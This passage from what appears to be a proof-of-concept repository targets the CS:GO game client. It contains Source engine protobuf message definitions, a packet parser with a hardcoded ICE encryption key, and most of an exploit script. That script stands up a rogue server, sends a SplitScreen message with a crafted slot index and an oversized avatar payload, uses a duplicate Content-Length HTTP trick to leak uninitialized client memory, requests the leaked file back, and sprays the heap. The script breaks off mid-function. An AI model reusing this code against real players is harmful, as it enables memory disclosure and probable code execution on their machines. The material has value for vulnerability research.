3; 104 | optional int32 a = 4; 105 | } 106 | 107 | message CNETMsg_Tick { 108 | optional uint32 tick = 1; 109 | optional uint32 host_computationtime = 4; 110 | optional uint32 host_computationtime_std_deviation = 5; 111 | optional uint32 host_framestarttime_std_deviation = 6; 112 | optional uint32 hltv_replay_flags = 7; 113 | } 114 | 115 | message CNETMsg_StringCmd { 116 | optional string command = 1; 117 | } 118 | 119 | message CNETMsg_SignonState { 120 | optional uint32 signon_state = 1; 121 | optional uint32 spawn_count = 2; 122 | optional uint32 num_server_players = 3; 123 | repeated string players_networkids = 4; 124 | optional string map_name = 5; 125 | } 126 | 127 | message CMsg_CVars { 128 | message CVar { 129 | optional string name = 1; 130 | optional string value = 2; 131 | optional uint32 dictionary_name = 3; 132 | } 133 | 134 | repeated .CMsg_CVars.CVar cvars = 1; 135 | } 136 | 137 | message CNETMsg_SetConVar { 138 | optional .CMsg_CVars convars = 1; 139 | } 140 | 141 | message CNETMsg_NOP { 142 | } 143 | 144 | message CNETMsg_Disconnect { 145 | optional string text = 1; 146 | } 147 | 148 | message CNETMsg_File { 149 | optional int32 transfer_id = 1; 150 | optional string file_name = 2; 151 | optional bool is_replay_demo_file = 3; 152 | optional bool deny = 4; 153 | } 154 | 155 | message CNETMsg_SplitScreenUser { 156 | optional int32 slot = 1; 157 | } 158 | 159 | message CNETMsg_PlayerAvatarData { 160 | optional uint32 accountid = 1; 161 | optional bytes rgb = 2; 162 | } 163 | 164 | message CCLCMsg_ClientInfo { 165 | optional fixed32 send_table_crc = 1; 166 | optional uint32 server_count = 2; 167 | optional bool is_hltv = 3; 168 | optional bool is_replay = 4; 169 | optional uint32 friends_id = 5; 170 | optional string friends_name = 6; 171 | repeated fixed32 custom_files = 7; 172 | } 173 | 174 | message CCLCMsg_Move { 175 | optional uint32 num_backup_commands = 1; 176 | optional uint32 num_new_commands = 2; 177 | optional bytes data = 3; 178 | } 179 | 180 | message CCLCMsg_VoiceData { 181 | optional bytes data = 1; 182 | optional fixed64 xuid = 2; 183 | optional .VoiceDataFormat_t format = 3 [default = VOICEDATA_FORMAT_ENGINE]; 184 | optional int32 sequence_bytes = 4; 185 | optional uint32 section_number = 5; 186 | optional uint32 uncompressed_sample_offset = 6; 187 | } 188 | 189 | message CCLCMsg_BaselineAck { 190 | optional int32 baseline_tick = 1; 191 | optional int32 baseline_nr = 2; 192 | } 193 | 194 | message CCLCMsg_ListenEvents { 195 | repeated fixed32 event_mask = 1; 196 | } 197 | 198 | message CCLCMsg_RespondCvarValue { 199 | optional int32 cookie = 1; 200 | optional int32 status_code = 2; 201 | optional string name = 3; 202 | optional string value = 4; 203 | } 204 | 205 | message CCLCMsg_FileCRCCheck { 206 | optional int32 code_path = 1; 207 | optional string path = 2; 208 | optional int32 code_filename = 3; 209 | optional string filename = 4; 210 | optional int32 file_fraction = 5; 211 | optional bytes md5 = 6; 212 | optional uint32 crc = 7; 213 | optional int32 file_hash_type = 8; 214 | optional int32 file_len = 9; 215 | optional int32 pack_file_id = 10; 216 | optional int32 pack_file_number = 11; 217 | } 218 | 219 | message CCLCMsg_LoadingProgress { 220 | optional int32 progress = 1; 221 | } 222 | 223 | message CCLCMsg_SplitPlayerConnect { 224 | optional .CMsg_CVars convars = 1; 225 | } 226 | 227 | message CCLCMsg_CmdKeyValues { 228 | optional bytes keyvalues = 1; 229 | } 230 | 231 | message CSVCMsg_ServerInfo { 232 | optional int32 protocol = 1; 233 | optional int32 server_count = 2; 234 | optional bool is_dedicated = 3; 235 | optional bool is_official_valve_server = 4; 236 | optional bool is_hltv = 5; 237 | optional bool is_replay = 6; 238 | optional bool is_redirecting_to_proxy_relay = 21; 239 | optional int32 c_os = 7; 240 | optional fixed32 map_crc = 8; 241 | optional fixed32 client_crc = 9; 242 | optional fixed32 string_table_crc = 10; 243 | optional int32 max_clients = 11; 244 | optional int32 max_classes = 12; 245 | optional int32 player_slot = 13; 246 | optional float tick_interval = 14; 247 | optional string game_dir = 15; 248 | optional string map_name = 16; 249 | optional string map_group_name = 17; 250 | optional string sky_name = 18; 251 | optional string host_name = 19; 252 | optional uint32 public_ip = 20; 253 | optional uint64 ugc_map_id = 22; 254 | } 255 | 256 | message CSVCMsg_ClassInfo { 257 | message class_t { 258 | optional int32 class_id = 1; 259 | optional string data_table_name = 2; 260 | optional string class_name = 3; 261 | } 262 | 263 | optional bool create_on_client = 1; 264 | repeated .CSVCMsg_ClassInfo.class_t classes = 2; 265 | } 266 | 267 | message CSVCMsg_SendTable { 268 | message sendprop_t { 269 | optional int32 type = 1; 270 | optional string var_name = 2; 271 | optional int32 flags = 3; 272 | optional int32 priority = 4; 273 | optional string dt_name = 5; 274 | optional int32 num_elements = 6; 275 | optional float low_value = 7; 276 | optional float high_value = 8; 277 | optional int32 num_bits = 9; 278 | } 279 | 280 | optional bool is_end = 1; 281 | optional string net_table_name = 2; 282 | optional bool needs_decoder = 3; 283 | repeated .CSVCMsg_SendTable.sendprop_t props = 4; 284 | } 285 | 286 | message CSVCMsg_Print { 287 | optional string text = 1; 288 | } 289 | 290 | message CSVCMsg_SetPause { 291 | optional bool paused = 1; 292 | } 293 | 294 | message CSVCMsg_SetView { 295 | optional int32 entity_index = 1; 296 | } 297 | 298 | message CSVCMsg_CreateStringTable { 299 | optional string name = 1; 300 | optional int32 max_entries = 2; 301 | optional int32 num_entries = 3; 302 | optional bool user_data_fixed_size = 4; 303 | optional int32 user_data_size = 5; 304 | optional int32 user_data_size_bits = 6; 305 | optional int32 flags = 7; 306 | optional bytes string_data = 8; 307 | } 308 | 309 | message CSVCMsg_UpdateStringTable { 310 | optional int32 table_id = 1; 311 | optional int32 num_changed_entries = 2; 312 | optional bytes string_data = 3; 313 | } 314 | 315 | message CSVCMsg_VoiceInit { 316 | optional int32 quality = 1; 317 | optional string codec = 2; 318 | optional int32 version = 3 [default = 0]; 319 | } 320 | 321 | message CSVCMsg_VoiceData { 322 | optional int32 client = 1; 323 | optional bool proximity = 2; 324 | optional fixed64 xuid = 3; 325 | optional int32 audible_mask = 4; 326 | optional bytes voice_data = 5; 327 | optional bool caster = 6; 328 | optional .VoiceDataFormat_t format = 7 [default = VOICEDATA_FORMAT_ENGINE]; 329 | optional int32 sequence_bytes = 8; 330 | optional uint32 section_number = 9; 331 | optional uint32 uncompressed_sample_offset = 10; 332 | } 333 | 334 | message CSVCMsg_FixAngle { 335 | optional bool relative = 1; 336 | optional .CMsgQAngle angle = 2; 337 | } 338 | 339 | message CSVCMsg_CrosshairAngle { 340 | optional .CMsgQAngle angle = 1; 341 | } 342 | 343 | message CSVCMsg_Prefetch { 344 | optional int32 sound_index = 1; 345 | } 346 | 347 | message CSVCMsg_BSPDecal { 348 | optional .CMsgVector pos = 1; 349 | optional int32 decal_texture_index = 2; 350 | optional int32 entity_index = 3; 351 | optional int32 model_index = 4; 352 | optional bool low_priority = 5; 353 | } 354 | 355 | message CSVCMsg_SplitScreen { 356 | optional .ESplitScreenMessageType type = 1 [default = MSG_SPLITSCREEN_ADDUSER]; 357 | optional int32 slot = 2; 358 | optional int32 player_index = 3; 359 | } 360 | 361 | message CSVCMsg_GetCvarValue { 362 | optional int32 cookie = 1; 363 | optional string cvar_name = 2; 364 | } 365 | 366 | message CSVCMsg_Menu { 367 | optional int32 dialog_type = 1; 368 | optional bytes menu_key_values = 2; 369 | } 370 | 371 | message CSVCMsg_UserMessage { 372 | optional int32 msg_type = 1; 373 | optional bytes msg_data = 2; 374 | optional int32 passthrough = 3; 375 | } 376 | 377 | message CSVCMsg_PaintmapData { 378 | optional bytes paintmap = 1; 379 | } 380 | 381 | message CSVCMsg_GameEvent { 382 | message key_t { 383 | optional int32 type = 1; 384 | optional string val_string = 2; 385 | optional float val_float = 3; 386 | optional int32 val_long = 4; 387 | optional int32 val_short = 5; 388 | optional int32 val_byte = 6; 389 | optional bool val_bool = 7; 390 | optional uint64 val_uint64 = 8; 391 | optional bytes val_wstring = 9; 392 | } 393 | 394 | optional string event_name = 1; 395 | optional int32 eventid = 2; 396 | repeated .CSVCMsg_GameEvent.key_t keys = 3; 397 | optional int32 passthrough = 4; 398 | } 399 | 400 | message CSVCMsg_GameEventList { 401 | message key_t { 402 | optional int32 type = 1; 403 | optional string name = 2; 404 | } 405 | 406 | message descriptor_t { 407 | optional int32 eventid = 1; 408 | optional string name = 2; 409 | repeated .CSVCMsg_GameEventList.key_t keys = 3; 410 | } 411 | 412 | repeated .CSVCMsg_GameEventList.descriptor_t descriptors = 1; 413 | } 414 | 415 | message CSVCMsg_TempEntities { 416 | optional bool reliable = 1; 417 | optional int32 num_entries = 2; 418 | optional bytes entity_data = 3; 419 | } 420 | 421 | message CSVCMsg_PacketEntities { 422 | optional int32 max_entries = 1; 423 | optional int32 updated_entries = 2; 424 | optional bool is_delta = 3; 425 | optional bool update_baseline = 4; 426 | optional int32 baseline = 5; 427 | optional int32 delta_from = 6; 428 | optional bytes entity_data = 7; 429 | } 430 | 431 | message CSVCMsg_Sounds { 432 | message sounddata_t { 433 | optional sint32 origin_x = 1; 434 | optional sint32 origin_y = 2; 435 | optional sint32 origin_z = 3; 436 | optional uint32 volume = 4; 437 | optional float delay_value = 5; 438 | optional int32 sequence_number = 6; 439 | optional int32 entity_index = 7; 440 | optional int32 channel = 8; 441 | optional int32 pitch = 9; 442 | optional int32 flags = 10; 443 | optional uint32 sound_num = 11; 444 | optional fixed32 sound_num_handle = 12; 445 | optional int32 speaker_entity = 13; 446 | optional int32 random_seed = 14; 447 | optional int32 sound_level = 15; 448 | optional bool is_sentence = 16; 449 | optional bool is_ambient = 17; 450 | } 451 | 452 | optional bool reliable_sound = 1; 453 | repeated .CSVCMsg_Sounds.sounddata_t sounds = 2; 454 | } 455 | 456 | message CSVCMsg_EntityMsg { 457 | optional int32 ent_index = 1; 458 | optional int32 class_id = 2; 459 | optional bytes ent_data = 3; 460 | } 461 | 462 | message CSVCMsg_CmdKeyValues { 463 | optional bytes keyvalues = 1; 464 | } 465 | 466 | message CSVCMsg_EncryptedData { 467 | optional bytes encrypted = 1; 468 | optional int32 key_type = 2; 469 | } 470 | 471 | message CSVCMsg_HltvReplay { 472 | optional int32 delay = 1; 473 | optional int32 primary_target = 2; 474 | optional int32 replay_stop_at = 3; 475 | optional int32 replay_start_at = 4; 476 | optional int32 replay_slowdown_begin = 5; 477 | optional int32 replay_slowdown_end = 6; 478 | optional float replay_slowdown_rate = 7; 479 | } 480 | 481 | message CCLCMsg_HltvReplay { 482 | optional int32 request = 1; 483 | optional float slowdown_length = 2; 484 | optional float slowdown_rate = 3; 485 | optional int32 primary_target_ent_index = 4; 486 | optional float event_time = 5; 487 | } 488 | 489 | message CSVCMsg_Broadcast_Command { 490 | optional string cmd = 1; 491 | } 492 | -------------------------------------------------------------------------------- /pocs/packetparser.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import os 3 | import sys 4 | 5 | current_path = os.getcwd() 6 | parent_dir = os.path.normpath(os.path.join(current_path, "../..")) 7 | sys.path.append(parent_dir) 8 | import netmessages_pb2 as nmsg 9 | import ice as ice 10 | import bitwriter 11 | import bitreader 12 | from exception import Ex 13 | 14 | FRAGMENT_BITS = 8 15 | FRAGMENT_SIZE = (1 << FRAGMENT_BITS) 16 | MAX_FILESIZE_BITS = 26 17 | MAX_FILESIZE = ((1 << MAX_FILESIZE_BITS) - 1) 18 | NET_MAX_PAYLOAD_BITS = 18 19 | 20 | def BYTES2FRAGMENT(b): 21 | return (b + FRAGMENT_SIZE - 1) // FRAGMENT_SIZE 22 | 23 | class DataFragment: 24 | def __init__(self): 25 | self.filename = "" 26 | self.buffer = bytearray(0) 27 | self.num_bytes = 0 28 | self.num_bits = 0 29 | self.transferid = 0 30 | self.is_compressed = False 31 | self.uncompressed_size = 0 32 | self.num_fragments = 0 33 | self.acked_fragments = 0 34 | self.pending_framgents = 0 35 | 36 | def unpad(data): 37 | num_rand_fudge = data[0] 38 | if num_rand_fudge > 0 and num_rand_fudge + 5 < len(data): 39 | num_bytes_written = struct.unpack(">I", data[num_rand_fudge + 1:num_rand_fudge + 5])[0] 40 | if num_rand_fudge + 5 + num_bytes_written == len(data): 41 | return data[num_rand_fudge + 5:num_rand_fudge + 5 + num_bytes_written] 42 | 43 | raise Ex("failure during unpadding of data") 44 | 45 | class NetMessage: 46 | def parse(self, reader): 47 | self = self 48 | reader = reader 49 | raise Ex("Default impl") 50 | 51 | def parse_buffer(self, reader): 52 | size = reader.read_var_int32() 53 | return reader.read_bytes(size) 54 | 55 | class CNETMsg_Tick(NetMessage): 56 | def parse(self, reader): 57 | msg = nmsg.CNETMsg_Tick() 58 | res = msg.ParseFromString(reader.finish_to_string()) 59 | return msg 60 | 61 | class CNETMsg_NOP(NetMessage): 62 | def parse(self, reader): 63 | self.parse_buffer(reader) 64 | return self 65 | 66 | class CNETMsg_Disconnect(NetMessage): 67 | def parse(self, reader): 68 | buff = self.parse_buffer(reader) 69 | msg = nmsg.CNETMsg_Disconnect() 70 | bytes_read = msg.ParseFromString(buff) 71 | return msg 72 | 73 | class CNETMsg_SplitScreenUser(NetMessage): 74 | def parse(self, reader): 75 | buff = self.parse_buffer(reader) 76 | # msg = nmsg.CNETMsg_SplitScreenUser() 77 | # bytes_read = msg.ParseFromString(buff) 78 | # return msg 79 | 80 | class CLCListenEvents(NetMessage): 81 | def parse(self, reader): 82 | msg = nmsg.CCLCMsg_ListenEvents() 83 | buff = self.parse_buffer(reader) 84 | # res = msg.ParseFromString(buff) 85 | # print(res) 86 | # return msg 87 | 88 | class PacketParser: 89 | def __init__(self, leak_callback): 90 | self.ice = ice.IceKey(2, [0x43, 0x53, 0x47, 0x4F, 0xCF, 0x35, 0x00, 0x00, 0x73, 0x0D, 0x00, 0x00, 0x5C, 0x03, 0x00, 0x00]) 91 | self.binder = { 92 | # 0: CNETMsg_NOP(), 93 | 1: CNETMsg_Disconnect(), 94 | 3: CNETMsg_SplitScreenUser(), 95 | 4: CNETMsg_Tick(), 96 | 12: CLCListenEvents() 97 | } 98 | self.cb_leak_data = leak_callback 99 | self.subchans = [DataFragment(), DataFragment()] 100 | self.rel_state = 0 101 | 102 | def read_subchanneldata(self, reader, subchanid): 103 | start_fragment = 0 104 | num_fragments = 0 105 | offset = 0 106 | length = 0 107 | df = self.subchans[subchanid] 108 | 109 | single_block = reader.read_one_bit() == 0 110 | 111 | if not single_block: 112 | start_fragment = reader.read_ubit_long(MAX_FILESIZE_BITS - FRAGMENT_BITS) 113 | num_fragments = reader.read_ubit_long(3) 114 | offset = start_fragment * FRAGMENT_SIZE 115 | length = num_fragments * FRAGMENT_SIZE 116 | # print(f"{start_fragment} {num_fragments}") 117 | 118 | if offset == 0: 119 | if not single_block: 120 | is_file = reader.read_one_bit() 121 | if is_file: 122 | df.transferid = reader.read_ubit_long(32) 123 | # TODO(brymko): in the original source this is limited to OS_MAXPATH 124 | # however i think we can trust the client to not send bogus values 125 | # worst case the reader gets corrupted 126 | df.filename = reader.read_string() 127 | if reader.read_one_bit(): 128 | pass # demo playback, don't care 129 | 130 | is_compressed = reader.read_one_bit() 131 | if is_compressed: 132 | df.is_compressed = True 133 | df.uncompressed_size = reader.read_ubit_long(MAX_FILESIZE_BITS) 134 | else: 135 | df.is_compressed = False 136 | df.num_bytes = reader.read_ubit_long(MAX_FILESIZE_BITS) 137 | 138 | else: 139 | is_compressed = reader.read_one_bit() 140 | if is_compressed: 141 | df.is_compressed = True 142 | df.uncompressed_size = reader.read_ubit_long(NET_MAX_PAYLOAD_BITS) 143 | else: 144 | df.is_compressed = False 145 | df.num_bytes = reader.read_ubit_long(NET_MAX_PAYLOAD_BITS) 146 | 147 | 148 | if len(df.buffer) > 0: 149 | # print(reader) 150 | df.buffer = bytearray() 151 | raise Ex("Last transmission was aborted, can this happen?") 152 | 153 | df.num_bits = df.num_bytes * 8 154 | df.num_fragments = BYTES2FRAGMENT(df.num_bytes) 155 | if df.num_fragments == 0: 156 | # print(reader) 157 | raise Ex("Got 0 num frags") 158 | df.acked_fragments = 0 159 | 160 | if single_block: 161 | num_fragments = df.num_fragments 162 | length = num_fragments * FRAGMENT_SIZE 163 | 164 | elif subchanid == 1: 165 | # TODO(brymko): this is hacky, the file header is somewhere in a prior packet & we don't parse that one correctly 166 | # For the leak to work however we might take this L and use the file memory anyway 167 | # So if we are in the file subchannel discard this error 168 | # raise Ex("Offset=0 never received, this should not happen without parsing issues with the official client") 169 | # UPDATE: looks like we parse the header correctly now but we don't care about the integrety of the file anyways 170 | pass 171 | else: 172 | raise Ex("Offset=0 never received, this should not happen without parsing issues with the official client") 173 | 174 | 175 | if (start_fragment + num_fragments) == df.num_fragments: 176 | rest = FRAGMENT_SIZE - (df.num_bytes % FRAGMENT_SIZE) 177 | if rest < FRAGMENT_SIZE: 178 | length -= rest 179 | elif (start_fragment + num_fragments) > df.num_fragments: 180 | raise Ex("Fragment chunk out of bounds, this should not happen with the official client") 181 | 182 | buff = reader.read_bytes(length) 183 | df.buffer[offset:] = buff 184 | # print(f"buffer len {len(df.buffer)}") 185 | df.acked_fragments += num_fragments 186 | 187 | self.subchans[subchanid] = df 188 | return True 189 | 190 | def check_recving_list(self, subchanidx): 191 | df = self.subchans[subchanidx] 192 | 193 | if len(df.buffer) == 0: 194 | return False 195 | if df.acked_fragments < df.num_fragments: #brymko: hack so that we pass every fragment to out callback# or df.acked_fragments < df.num_fragments: 196 | print(f"fragments state: {df.acked_fragments}/{df.num_fragments}") 197 | return False 198 | 199 | if subchanidx != 1: 200 | if df.acked_fragments > df.num_fragments: 201 | raise Ex("Too many fragments, this should not happen with the official client && we parse correctly") 202 | 203 | if df.is_compressed: 204 | raise Ex("TODO: data is compressed") 205 | 206 | if len(df.filename) == 0: 207 | reader = bitreader.BitReader(df.buffer) 208 | self.process_message(reader) 209 | else: 210 | raise Ex("TODO: filetransport") 211 | else: 212 | # again no checks for the file transfer, and delegate to leak callback 213 | # also return True to reset the DataTransfer struct 214 | print(f"fragments state: {df.acked_fragments}:{df.num_fragments}") 215 | self.cb_leak_data(df.filename, df.buffer) 216 | return True 217 | 218 | def process_message(self, reader): 219 | cmd = reader.read_var_int32() 220 | if cmd == 0: return 221 | try: 222 | msg = self.binder[cmd].parse(reader) 223 | except: 224 | # msg not handled 225 | # print(f"[-] Msg {cmd} not handled") 226 | return False 227 | if msg: 228 | # print(msg) 229 | return True 230 | 231 | 232 | def on_packet(self, packet): 233 | packet = [b for b in packet] 234 | reader = bitreader.BitReader(packet) 235 | 236 | magic = reader.read_long() 237 | if magic == -2: 238 | raise Ex("Got split header, not parsing rn") 239 | 240 | if magic == -1: 241 | raise Ex("Connectionless packet, should not happen") 242 | 243 | decrypted = self.ice.Decrypt(packet) 244 | decrypted = unpad(decrypted) 245 | reader = bitreader.BitReader(decrypted) 246 | 247 | magic = reader.peek_long() 248 | if magic == -3: 249 | raise Ex("Got compressed packet, not parsing rn") 250 | 251 | if magic == -1: 252 | raise Ex("Got connectionless packet in channel packet data") 253 | 254 | return self.on_packet_decrypted(decrypted) 255 | 256 | def on_packet_decrypted(self, buff): 257 | reader = bitreader.BitReader(buff) 258 | # finish NET_GetPacket 259 | 260 | seq_nr = reader.read_long() 261 | ack_nr = reader.read_long() 262 | flags = reader.read_byte()[0] 263 | 264 | crc = reader.read_ubit_long(16) 265 | rel_state = reader.read_byte()[0] 266 | if flags & (1 << 4) != 0: 267 | choked = reader.read_byte()[0] 268 | 269 | # print() 270 | # print(f"seq_nr: {seq_nr} ack_nr: {ack_nr} flags: {flags} crc: {hex(crc)} rel_state: {rel_state}") 271 | 272 | # reader.print_left() 273 | bit = 0 274 | if flags & (1 << 0) != 0: 275 | bit = reader.read_ubit_long(3) 276 | self.rel_state ^= (1 << bit) 277 | has_regular_data = False 278 | has_file_data = False 279 | for i in range(2): 280 | # 0 == regular stream 281 | # 1 == file stream 282 | if i == 1 and has_regular_data: #and not has_regular_data: 283 | # TODO(brymko): wtf 284 | reader.read_one_bit() 285 | if reader.read_one_bit(): 286 | if i == 0: 287 | has_regular_data = True 288 | if i == 1: 289 | has_file_data = True 290 | if not self.read_subchanneldata(reader, i): 291 | raise Ex("error reading fragments") 292 | for i in range(2): 293 | if self.check_recving_list(i): 294 | self.subchans[i] = DataFragment() 295 | 296 | assert(self.rel_state < 256) 297 | if has_file_data: 298 | return seq_nr, self.rel_state 299 | # return seq_nr, self.rel_state 300 | # check if we have to ack the file 301 | # print(hex(self.rel_state)) 302 | # df = self.subchans[1] 303 | # if df.acked_fragments % 8 == 0 and df.acked_fragments > 0 or bit != 0 and (self.rel_state == 0xff or self.rel_state == 0): 304 | # return seq_nr, bit 305 | return None, None 306 | 307 | # while reader.num_bits_left() > 8: 308 | # # print(f"leftover: {[x for x in reader.peek_to_string()]}") 309 | # self.process_message(reader) 310 | 311 | 312 | 313 | 314 | -------------------------------------------------------------------------------- /pocs/splitscreen_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import struct 5 | import os 6 | import sys 7 | import threading 8 | import time 9 | import binascii 10 | 11 | # Helper functions. 12 | u32 = lambda x: struct.unpack("> 8) & 0xff, 74 | (csgo_version >> 16) & 0xff, 75 | (csgo_version >> 24) & 0xff 76 | ]) 77 | 78 | version_8_12 = bytes([ 79 | (csgo_version >> 2) & 0xff, 80 | (csgo_version >> 10) & 0xff, 81 | (csgo_version >> 18) & 0xff, 82 | (csgo_version >> 26) & 0xff 83 | ]) 84 | 85 | version_12_16 = bytes([ 86 | (csgo_version >> 4) & 0xff, 87 | (csgo_version >> 12) & 0xff, 88 | (csgo_version >> 20) & 0xff, 89 | (csgo_version >> 28) & 0xff 90 | ]) 91 | 92 | return csgo + version_4_8 + version_8_12 + version_12_16 93 | 94 | def int_encoded(val): 95 | ret = b"" 96 | 97 | while val > 0x7f: 98 | ret += bytes([(val & 0x7f) | 0x80]) 99 | val >>= 7 100 | 101 | ret += bytes([val & 0x7f]) 102 | return ret 103 | 104 | # Try to get the local network address, as we need an non-loopback ip for the server. 105 | # this works even if you are currently NOT connected to an 10.0.0.0/8 subnet 106 | def get_local_network_addr(): 107 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 108 | try: 109 | s.connect(("10.255.255.255", 1)) 110 | return s.getsockname()[0] 111 | except Exception as e: 112 | print(f"[-] Failed to get local addr: {e}") 113 | sys.exit(1) 114 | finally: 115 | s.close() 116 | 117 | def get_payload(ty, **kwargs): 118 | def get_svc_split_screen(): 119 | payload = nmsg.CSVCMsg_SplitScreen() 120 | payload.type = 0 121 | payload.slot = EXPLOIT_INDEX 122 | payload.player_index = 0 123 | 124 | return payload, 22 125 | 126 | def get_net_msg_player_avatar_data(accid): 127 | payload = nmsg.CNETMsg_PlayerAvatarData() 128 | payload.accountid = accid 129 | payload.rgb = b"\x00" + b"\x41" * (0xffa0) 130 | return payload, 100 131 | 132 | if ty == 'avatar': 133 | return get_net_msg_player_avatar_data(**kwargs) 134 | elif ty == 'splitscreen': 135 | return get_svc_split_screen() 136 | else: 137 | assert(0 and "Not implemented") 138 | 139 | # Set a ConVar on the target client. 140 | def set_convar(name, value): 141 | payload = nmsg.CNETMsg_SetConVar() 142 | add = payload.convars.cvars.add() 143 | add.name = name 144 | add.value = value 145 | 146 | return payload, 6 147 | 148 | # Returns the CSVCMsg_ServerInfo message with all the necessary server information. 149 | def get_server_info(): 150 | server_info = nmsg.CSVCMsg_ServerInfo() 151 | server_info.protocol = CLIENT_VERSION 152 | server_info.server_count = 1 153 | server_info.is_dedicated = True 154 | server_info.is_official_valve_server = False 155 | server_info.is_hltv = False 156 | server_info.is_replay = False 157 | server_info.is_redirecting_to_proxy_relay = False 158 | server_info.c_os = ord('L') 159 | server_info.max_clients = 10 160 | server_info.player_slot = 1 161 | server_info.tick_interval = 0.007815 162 | 163 | server_info.max_classes = 20 164 | server_info.game_dir = "csgo" 165 | server_info.map_name = "de_dust2" 166 | 167 | return server_info, 8 168 | 169 | # Returns a StringTable message that contains the "downloadables", this is used for the leak. 170 | def get_download_list(filenames): 171 | download_table = nmsg.CSVCMsg_CreateStringTable() 172 | download_table.name = "downloadables" 173 | download_table.max_entries = 8192 174 | download_table.num_entries = len(filenames) 175 | download_table.user_data_size = 0 176 | download_table.user_data_fixed_size = 0 177 | download_table.user_data_size_bits = 0 178 | download_table.flags = 0 179 | 180 | models = [(fn, None) for fn in filenames] 181 | data = bitwriter.BitWriter() 182 | data.write_bit(0) # do not use dictionary encoding 183 | for k, v in models: 184 | data.write_bit(1) # use sequental indexes 185 | data.write_bit(1) # enter if to set pEntry 186 | data.write_bit(0) # don't do substr check 187 | data.write_str(k) 188 | if v is None: 189 | data.write_bit(0) # pUserData 190 | else: 191 | data.write_bit(1) # pUserData 192 | data.write_bits(14, len(v)) 193 | for c in v: 194 | data.write_char(c) 195 | 196 | download_table.string_data = data.finish() 197 | 198 | return download_table, 12 199 | 200 | # Set the model pre-cache this is necessary for the connection. 201 | def get_model_table(): 202 | model_table = nmsg.CSVCMsg_CreateStringTable() 203 | model_table.name = "modelprecache" 204 | model_table.max_entries = 8192 205 | model_table.num_entries = 2 206 | model_table.user_data_size = 0 207 | model_table.user_data_fixed_size = 0 208 | model_table.user_data_size_bits = 0 209 | model_table.flags = 0 210 | 211 | models = [ 212 | ("", None), 213 | ("maps/de_dust2.bsp", None), 214 | ] 215 | data = bitwriter.BitWriter() 216 | data.write_bit(0) # do not use dictionary encoding 217 | for k, v in models: 218 | data.write_bit(1) # use sequental indexes 219 | data.write_bit(1) # enter if to set pEntry 220 | data.write_bit(0) # don't do substr check 221 | data.write_str(k) 222 | if v is None: 223 | data.write_bit(0) # pUserData??? 224 | else: 225 | data.write_bit(1) # pUserData??? 226 | data.write_bits(14, len(v)) 227 | for c in v: 228 | data.write_char(c) 229 | 230 | 231 | model_table.string_data = data.finish() 232 | return model_table, 12 233 | 234 | def get_nop(): 235 | nop = nmsg.CNETMsg_NOP() 236 | return nop, 0 237 | 238 | # Request the file from the client. This is used for the leak. 239 | def get_netmsg_file(filename): 240 | msg = nmsg.CNETMsg_File() 241 | msg.transfer_id = 1 242 | msg.is_replay_demo_file = False 243 | msg.deny = False 244 | msg.file_name = filename 245 | 246 | return msg, 2 247 | 248 | # This requests the Signon state from the client. 249 | def get_signon_state(signonstate): 250 | signon = nmsg.CNETMsg_SignonState() 251 | signon.signon_state = signonstate # SIGNONSTATE_NEW 252 | signon.spawn_count = 1 253 | signon.num_server_players = 0 254 | signon.map_name = "de_dust2" 255 | return signon, 7 256 | 257 | # global connection seq & ack nr 258 | seq_nr = 1 259 | ack_nr = 1 260 | 261 | # This is used to wrap the payload with the necessary encryption and also add a crc checksum. 262 | def prepare_payload(payload, msg_num, to_ack_nr = None, rel_state = 0, serialize = True): 263 | global seq_nr 264 | global ack_nr 265 | 266 | assert(msg_num < 0xff) 267 | if to_ack_nr: 268 | ack_nr = to_ack_nr 269 | 270 | # make it optional to serialize the payload as some exploit steps 271 | # might need to manipulate the serialized payload on a byte level 272 | if serialize: 273 | payload = payload.SerializeToString() 274 | 275 | packet = bytes([rel_state]) 276 | packet += bytes([msg_num]) 277 | packet += int_encoded(len(payload)) 278 | packet += payload 279 | 280 | # crc + other stuff 281 | 282 | payload = packet 283 | packet = (seq_nr).to_bytes(4, byteorder='little') 284 | seq_nr += 1 285 | packet += (ack_nr).to_bytes(4, byteorder='little') 286 | packet += b"\x00" # flags 287 | checksum = binascii.crc32(payload) 288 | packet += p16(((checksum & 0xffff) ^ ((checksum >> 16) & 0xffff)) & 0xffff) 289 | packet += payload 290 | 291 | # ice encryption 292 | 293 | payload = packet 294 | padding = 8 - ((len(payload) + 5) % 8) 295 | packet = bytes([padding]) 296 | packet += b"".join([bytes([33]) for _ in range(0, padding)]) 297 | packet += struct.pack(">I", len(payload)) # big endian for whatever reason ??? 298 | packet += payload 299 | 300 | payload = packet 301 | # ice key must be updated with each new update, the client enforces this, nothing we can do about 302 | crypter = ice.IceKey(2, get_ice_key(CLIENT_VERSION)) 303 | packet = crypter.Encrypt(payload) 304 | payload = packet 305 | 306 | return payload 307 | 308 | # setup http server for file transfer. Needed for memleak 309 | def setup_http_server(port): 310 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 311 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 312 | server.bind((get_local_network_addr(), port)) 313 | 314 | server.listen(20) 315 | return server 316 | 317 | # This is basis for the info leak, we serve a file with *two* Content-Length fields, that are differently parsed. 318 | # Which leads the client to read in uninitialized memory into the file, We then request this file back, which discloses 319 | # addresses that we can use to craft our payload. 320 | def serve_infoleak_files(server, heap_chunk_size): 321 | global send_memleak_file 322 | while True: 323 | conn, _ = server.accept() 324 | request = conn.recv(2048).decode('utf-8') 325 | 326 | # print("[!] Got HTTP request!") 327 | # print(f"{request}") 328 | 329 | # send 404 for archived file requests as uninitialized memory most likely 330 | # won't be a valid archive and the file will be deleted 331 | if ".bz2" in request: 332 | print("[*] Sending 404 for bz file") 333 | conn.send( 334 | bytes( 335 | "HTTP/1.1 404 Not Found\r\n", 336 | 'utf-8' 337 | ) 338 | ) 339 | else: 340 | print("[*] Serving file via HTTP...") 341 | conn.send( 342 | bytes( 343 | f"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: {heap_chunk_size}\r\ncontent-length: 0\r\nConnection: closed" 344 | , 'utf-8' 345 | ) 346 | ) 347 | 348 | time.sleep(1) 349 | send_memleak_file += 1 350 | conn.close() 351 | 352 | 353 | # This is used to put some addresses into the uninitialized memory. 354 | def spray_send_table(s, addr, nprops): 355 | table = nmsg.CSVCMsg_SendTable() 356 | table.is_end = False 357 | 